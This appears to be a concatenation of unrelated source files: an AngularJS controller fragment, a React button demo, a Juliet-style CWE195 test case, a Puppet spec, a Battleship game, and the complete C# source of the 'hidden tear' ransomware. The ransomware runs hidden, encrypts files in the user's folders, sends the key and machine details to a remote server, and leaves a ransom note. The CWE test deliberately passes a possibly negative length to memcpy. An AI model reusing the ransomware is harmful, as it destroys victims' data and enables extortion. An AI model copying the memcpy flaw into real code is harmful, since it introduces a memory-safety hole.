        scope: $scope,
        callback: 'SchedulesRefresh',
        base: $scope.base ? $scope.base : null,
        url: schedule_url
    });

    var callSelect2 = function() {
        CreateSelect2({
            element: '.MakeSelect2',
            multiple: false
        });
    };

    $scope.$on("updateSchedulerSelects", function() {
        callSelect2();
    });

    callSelect2();

}];


text:
import React from 'react';
import Button from '@material-ui/core/Button';

export default function DisableElevation() {
  return (
    <Button variant="contained" color="primary" disableElevation>
      Disable elevation
    </Button>
  );
}


text:
/* TEMPLATE GENERATED TESTCASE FILE
Filename: CWE195_Signed_to_Unsigned_Conversion_Error__fscanf_memcpy_65b.c
Label Definition File: CWE195_Signed_to_Unsigned_Conversion_Error.label.xml
Template File: sources-sink-65b.tmpl.c
*/
/*
 * @description
 * CWE: 195 Signed to Unsigned Conversion Error
 * BadSource: fscanf Read data from the console using fscanf()
 * GoodSource: Positive integer
 * Sinks: memcpy
 *    BadSink : Copy strings using memcpy() with the length of data
 * Flow Variant: 65 Data/control flow: data passed as an argument from one function to a function in a different source file called via a function pointer
 *
 * */

#include "std_testcase.h"

#ifndef OMITBAD

void CWE195_Signed_to_Unsigned_Conversion_Error__fscanf_memcpy_65b_badSink(int data)
{
    {
        char source[100];
        char dest[100] = "";
        memset(source, 'A', 100-1);
        source[100-1] = '\0';
        if (data < 100)
        {
            /* POTENTIAL FLAW: data is interpreted as an unsigned int - if its value is negative,
             * the sign conversion could result in a very large number */
            memcpy(dest, source, data);
            dest[data] = '\0'; /* NULL terminate */
        }
        printLine(dest);
    }
}

#endif /* OMITBAD */

#ifndef OMITGOOD

/* goodG2B uses the GoodSource with the BadSink */
void CWE195_Signed_to_Unsigned_Conversion_Error__fscanf_memcpy_65b_goodG2BSink(int data)
{
    {
        char source[100];
        char dest[100] = "";
        memset(source, 'A', 100-1);
        source[100-1] = '\0';
        if (data < 100)
        {
            /* POTENTIAL FLAW: data is interpreted as an unsigned int - if its value is negative,
             * the sign conversion could result in a very large number */
            memcpy(dest, source, data);
            dest[data] = '\0'; /* NULL terminate */
        }
        printLine(dest);
    }
}

#endif /* OMITGOOD */


text:
/*
 _     _     _     _              _
| |   (_)   | |   | |            | |
| |__  _  __| | __| | ___ _ __   | |_ ___  __ _ _ __
| '_ \| |/ _` |/ _` |/ _ \ '_ \  | __/ _ \/ _` | '__|
| | | | | (_| | (_| |  __/ | | | | ||  __/ (_| | |
|_| |_|_|\__,_|\__,_|\___|_| |_|  \__\___|\__,_|_|
 *
 * Disable antivirus and windows defender before to compile...
 * Coded by Utku Sen(Jani) / August 2015 Istanbul / utkusen.com Modified and reuploaded By Virgula
 * hidden tear may be used only for Educational Purposes. Do not use it as a ransomware!
 * You could go to jail on obstruction of justice charges just for running hidden tear, even though you are innocent.
 *
 * Ve durdu saatler
 * Susuyor seni zaman
 * Sesin dondu kulagimda
 * Dedi uykudan uyan
 *
 * Yine boyle bir aksamdi
 * Sen guluyordun ya gozlerimin icine
 * Feslegenler boy vermisti
 * Gokten parlak bir yildiz dustu pesine
 * Sakladim gozyaslarimi
 */

using System;
using System.Diagnostics;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using System.Security;
using System.Security.Cryptography;
using System.IO;
using System.Net;
using Microsoft.Win32;
using System.Runtime.InteropServices;
using System.Text.RegularExpressions;
using System.Threading;

namespace hidden_tear
{
    public partial class Form1 : Form
    {
        [DllImport("user32.dll", CharSet = CharSet.Auto)]
        private static extern Int32 SystemParametersInfo(UInt32 action, UInt32 uParam, String vParam, UInt32 winIni);
        //Url to send encryption password and computer info
        string targetURL = "http://www.example.com/Server/write.php";
        string userName = Environment.UserName;
        string computerName = System.Environment.MachineName.ToString();
        string userDir = "C:\\";
        string backgroundImageUrl = "http://i.imgur.com/xZuLWTN.jpg"; //desktop background picture

        public Form1()
        {
            InitializeComponent();
        }

        private void Form1_Load(object sender, EventArgs e)
        {
            Opacity = 0;
            this.ShowInTaskbar = false;
            //starts encryption at form load
            startAction();

        }

        //hide process also from taskmanager
        protected override CreateParams CreateParams
        {
            get
            {
                var cp = base.CreateParams;
                cp.ExStyle |= 0x80;  // Turn on WS_EX_TOOLWINDOW
                return cp;
            }
        }

        private void Form_Shown(object sender, EventArgs e)
        {
            Visible = false;
            Opacity = 100;
        }

        //AES encryption algorithm
        public byte[] AES_Encrypt(byte[] bytesToBeEncrypted, byte[] passwordBytes)
        {
            byte[] encryptedBytes = null;
            byte[] saltBytes = new byte[] { 1, 2, 3, 4, 5, 6, 7, 8 };
            using (MemoryStream ms = new MemoryStream())
            {
                using (RijndaelManaged AES = new RijndaelManaged())
                {
                    AES.KeySize = 256;
                    AES.BlockSize = 128;

                    var key = new Rfc2898DeriveBytes(passwordBytes, saltBytes, 1000);
                    AES.Key = key.GetBytes(AES.KeySize / 8);
                    AES.IV = key.GetBytes(AES.BlockSize / 8);

                    AES.Mode = CipherMode.CBC;

                    using (var cs = new CryptoStream(ms, AES.CreateEncryptor(), CryptoStreamMode.Write))
                    {
                        cs.Write(bytesToBeEncrypted, 0, bytesToBeEncrypted.Length);
                        cs.Close();
                    }
                    encryptedBytes = ms.ToArray();
                }
            }

            return encryptedBytes;
        }

        //creates random password for encryption
        public string CreatePassword(int length)
        {
            const string valid = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890*!=?()"; //patern allowed
            StringBuilder res = new StringBuilder();
            Random rnd = new Random();
            while (0 < length--) {
                res.Append(valid[rnd.Next(valid.Length)]);
            }
            return res.ToString();
        }

        //Sends created password target location
        public void SendPassword(string password) {

            try
            {
                string info = "?computer_name=" + computerName + "&userName=" + userName + "&password=" + password + "&allow=ransom";
                var fullUrl = targetURL + info;
                var conent = new System.Net.WebClient().DownloadString(fullUrl);
            }
            catch (Exception)
            {

            }
        }

        //Encrypts single file
        public void EncryptFile(string file, string password)
        {

            byte[] bytesToBeEncrypted = File.ReadAllBytes(file);
            byte[] passwordBytes = Encoding.UTF8.GetBytes(password);

            // Hash the password with SHA256
            passwordBytes = SHA256.Create().ComputeHash(passwordBytes);

            byte[] bytesEncrypted = AES_Encrypt(bytesToBeEncrypted, passwordBytes);

            string users = "Users\\";
            string path_inf = users + userName + "\\Desktop\\READ_IT.txt.locked";       //path of the info file
            string fullpath_inf = userDir + path_inf;
            if (File.Exists(fullpath_inf))
            {
                File.Delete(fullpath_inf);
            }
            File.WriteAllBytes(file, bytesEncrypted);
            System.IO.File.Move(file, file + ".locked");    //exstension of hacked files
        }

        //encrypts target directory
        public void encryptDirectory(string location, string password)
        {
            try
            {
                //extensions to be encrypt please don't add .ini or the virus will crash before to encrypts all datas
                var validExtensions = new[]
                {
                        ".txt", ".jar", ".exe", ".dat", ".contact" , ".settings", ".doc", ".docx", ".xls", ".xlsx", ".ppt", ".pptx", ".odt", ".jpg", ".png", ".csv", ".py", ".sql", ".mdb", ".sln", ".php", ".asp", ".aspx", ".html", ".htm", ".xml", ".psd" , ".pdf" , ".dll" , ".c" , ".cs", ".mp3" , ".mp4", ".f3d" , ".dwg" , ".cpp" , ".zip" , ".rar" , ".mov" , ".rtf" , ".bmp" , ".mkv" , ".avi" , ".apk" , ".lnk" , ".iso", ".7-zip", ".ace", ".arj", ".bz2", ".cab", ".gzip", ".lzh", ".tar", ".uue", ".xz", ".z", ".001", ".mpeg", ".mp3", ".mpg", ".core", ".crproj" , ".pdb", ".ico" , ".pas" , ".db" ,  ".torrent"

                };

                string[] files = Directory.GetFiles(location);
                string[] childDirectories = Directory.GetDirectories(location);
                for (int i = 0; i < files.Length; i++)
                {
                    string extension = Path.GetExtension(files[i]);
                    if (validExtensions.Contains(extension))
                    {
                        EncryptFile(files[i], password);
                    }
                }
                for (int i = 0; i < childDirectories.Length; i++)
                {
                    encryptDirectory(childDirectories[i], password);
                }
            } catch (Exception)
            {

            }
        }

        //create a random dir and move virus on it to avoid conflicts with encryption itself
        public void MoveVirus()
        {
            string destFileName = userDir + userName + "\\Rand123";
            string destFileName_2 = userDir + userName + "\\Rand123\\local.exe";
            if (!Directory.Exists(destFileName))
            {
                Directory.CreateDirectory(destFileName);
            }
            else
            {
                if (File.Exists(destFileName_2))
                {
                    File.Delete(destFileName_2);
                }
            }
            string name = "\\" + Process.GetCurrentProcess().ProcessName + ".exe";
            string curFile = Directory.GetCurrentDirectory() + name;
            string sourceFileName = curFile;
            File.Move(sourceFileName, destFileName_2);

        }

        //check for internet connection
        public static bool CheckForInternetConnection()
        {
            try
            {
                using (var client = new WebClient())
                {
                    using (var stream = client.OpenRead("https://www.google.com"))
                    {
                        return true;
                    }
                }
            }
            catch
            {
                return false;
            }
        }

        public void startAction()
        {
            MoveVirus();
            string password = CreatePassword(15);
            Directory_Settings_Sending(password);
            messageCreator();
            bool Internet;
            string backgroundImageName = userDir + userName + "\\ransom.jpg";
            // creating a loop if connection doesn't exist while it is available again to send password and change background desktop
            do
            {
                Internet = CheckForInternetConnection();
                if (Internet == true)
                {
                    SetWallpaperFromWeb(backgroundImageUrl, backgroundImageName);
                    SendPassword(password);
                }
            } while (Internet == false) ;
            password = null;
            System.Windows.Forms.Application.Exit();
        }

        public void Directory_Settings_Sending(string password){
            //path to ecnrypt (child drectories already included)
            string path_1 = "Users\\";
            string startPath_1 = userDir + path_1 + userName + "\\Desktop";
            string startPath_2 = userDir + path_1 + userName + "\\Links";
            string startPath_3 = userDir + path_1 + userName + "\\Contacts";
            string startPath_4 = userDir + path_1 + userName + "\\Desktop";
            string startPath_5 = userDir + path_1 + userName + "\\Documents";
            string startPath_6 = userDir + path_1 + userName + "\\Downloads";
            string startPath_7 = userDir + path_1 + userName + "\\Pictures";
            string startPath_8 = userDir + path_1 + userName + "\\Music";
            string startPath_9 = userDir + path_1 + userName + "\\OneDrive";
            string startPath_10 = userDir + path_1 + userName + "\\Saved Games";
            string startPath_11 = userDir + path_1 + userName + "\\Favorites";
            string startPath_12 = userDir + path_1 + userName + "\\Searches";
            string startPath_13 = userDir + path_1 + userName + "\\Videos";
            encryptDirectory(startPath_1, password);
            encryptDirectory(startPath_2, password);
            encryptDirectory(startPath_3, password);
            encryptDirectory(startPath_4, password);
            encryptDirectory(startPath_5, password);
            encryptDirectory(startPath_6, password);
            encryptDirectory(startPath_7, password);
            encryptDirectory(startPath_8, password);
            encryptDirectory(startPath_9, password);
            encryptDirectory(startPath_10, password);
            encryptDirectory(startPath_11, password);
            encryptDirectory(startPath_12, password);
            encryptDirectory(startPath_13, password);
        }

        public void messageCreator()
        {
            string path = "\\Desktop\\READ_IT.txt";
            string fullpath = userDir + "Users\\" + userName + path;
            string infos = computerName + "-" + userName;
            string[] lines = { "This computer has been hacked","Your personal files have been ecrypted. Send me BTC or food to get decryption passcode.", "After that, you'll be able to see your beloved files again.","With love... Hidden Tear Project :')"};
            System.IO.File.WriteAllLines(fullpath, lines);
        }

        //Changes desktop background image
        public void SetWallpaper(String path)
        {
            SystemParametersInfo(0x14, 0, path, 0x01 | 0x02);
        }

        //Downloads image from web
        private void SetWallpaperFromWeb(string url, string path)
        {
            try
            {
                WebClient webClient = new WebClient();
                webClient.DownloadFile(new Uri(url), path);
                SetWallpaper(path);
            }
            catch (Exception){ }
        }
    }
}


text:
require 'spec_helper'

describe 'class_name', :type => :class do
  after :each do
    Facter.clear
    Facter.clear_messages
  end

  context 'Example Context' do
    let :facts do
      {
        :some_fact => 'Some Value',
      }
    end

    it { should compile }
    it { should contain_class('class_name') }
  end
end


text:
/**
 * Created by Kevin on 2/18/2017.
 */

//=================//
//      Ships      //
//=================//
// Constructor
function Ship(type, playerBoard, player) {
    this.damage = 0;
    this.type = type;
    this.playerBoard = playerBoard;
    this.player = player;

    switch (this.type) {
        // Carrier
        case CONST.AVAILABLE_SHIPS[0]:
            this.shipLength = 5;
            break;
        // Battleship
        case CONST.AVAILABLE_SHIPS[1]:
            this.shipLength = 4;
            break;
        // Destroyer
        case CONST.AVAILABLE_SHIPS[2]:
            this.shipLength = 3;
            break;
        // Submarine
        case CONST.AVAILABLE_SHIPS[3]:
            this.shipLength = 3;
            break;
        // Patrolboat
        case CONST.AVAILABLE_SHIPS[4]:
            this.shipLength = 2;
            break;
        default:
            this.shipLength = 3;
            break;
    }
    this.maxDamage = this.shipLength;
    this.sunk = false;
}

// Checks to see if the placement of a ship is legal
// Returns boolean
Ship.prototype.isLegal = function(x, y, direction) {
    // first, check if the ship is within the board...
    if (this.withinBounds(x, y, direction)) {
        // ...then check to make sure it doesn't collide with another ship
        for (var i = 0; i < this.shipLength; i++) {
            if (direction === Ship.DIRECTION_VERTICAL) {
                if (this.playerBoard.cells[x + i][y] === CONST.TYPE_SHIP ||
                    this.playerBoard.cells[x + i][y] === CONST.TYPE_MISS ||
                    this.playerBoard.cells[x + i][y] === CONST.TYPE_SUNK) {
                    return false;
                }
            } else {
                if (this.playerBoard.cells[x][y + i] === CONST.TYPE_SHIP ||
                    this.playerBoard.cells[x][y + i] === CONST.TYPE_MISS ||
                    this.playerBoard.cells[x][y + i] === CONST.TYPE_SUNK) {
                    return false;
                }
            }
        }
        return true;
    } else {
        return false;
    }
};
// Checks to see if the ship is within bounds of the grid
// Returns boolean
Ship.prototype.withinBounds = function(x, y, direction) {
    if (direction === Ship.DIRECTION_VERTICAL) {
        return x + this.shipLength <= Game.size;
    } else {
        return y + this.shipLength <= Game.size;
    }
};
// Increments the damage counter of a ship
// Returns Ship
Ship.prototype.incrementDamage = function() {
    this.damage++;
    if (this.isSunk()) {
        this.sinkShip(false); // Sinks the ship
    }
};
// Checks to see if the ship is sunk
// Returns boolean
Ship.prototype.isSunk = function() {
    return this.damage >= this.maxDamage;
};
// Sinks the ship
Ship.prototype.sinkShip = function(virtual) {
    this.damage = this.maxDamage; // Force the damage to exceed max damage
    this.sunk = true;

    // Make the CSS class sunk, but only if the ship is not virtual
    if (!virtual) {
        var allCells = this.getAllShipCells();
        for (var i = 0; i < this.shipLength; i++) {
            this.playerBoard.updateCell(allCells[i].x, allCells[i].y, 'sunk', this.player);
        }
    }
};
/**
 * Gets all the ship cells
 *
 * Returns an array with all (x, y) coordinates of the ship:
 * e.g.
 * [
 *	{'x':2, 'y':2},
 *	{'x':3, 'y':2},
 *	{'x':4, 'y':2}
 * ]
 */
Ship.prototype.getAllShipCells = function() {
    var resultObject = [];
    for (var i = 0; i < this.shipLength; i++) {
        if (this.direction === Ship.DIRECTION_VERTICAL) {
            resultObject[i] = {'x': this.xPosition + i, 'y': this.yPosition};
        } else {
            resultObject[i] = {'x': this.xPosition, 'y': this.yPosition + i};
        }
    }
    return resultObject;
};
// Initializes a ship with the given coordinates and direction (bearing).
// If the ship is declared "virtual", then the ship gets initialized with
// its coordinates but DOESN'T get placed on the grid.
Ship.prototype.create = function(x, y, direction, virtual) {
    // This function assumes that you've already checked that the placement is legal
    this.xPosition = x;
    this.yPosition = y;
    this.direction = direction;

    // If the ship is virtual, don't add it to the grid.
    if (!virtual) {
        for (var i = 0; i < this.shipLength; i++) {
            if (this.direction === Ship.DIRECTION_VERTICAL) {
                this.playerBoard.cells[x + i][y] = CONST.TYPE_SHIP;
            } else {
                this.playerBoard.cells[x][y + i] = CONST.TYPE_SHIP;
            }
        }
    }

};
// direction === 0 when the ship is facing north/south
// direction === 1 when the ship is facing east/west
Ship.DIRECTION_VERTICAL = 0;
Ship.DIRECTION_HORIZONTAL = 1;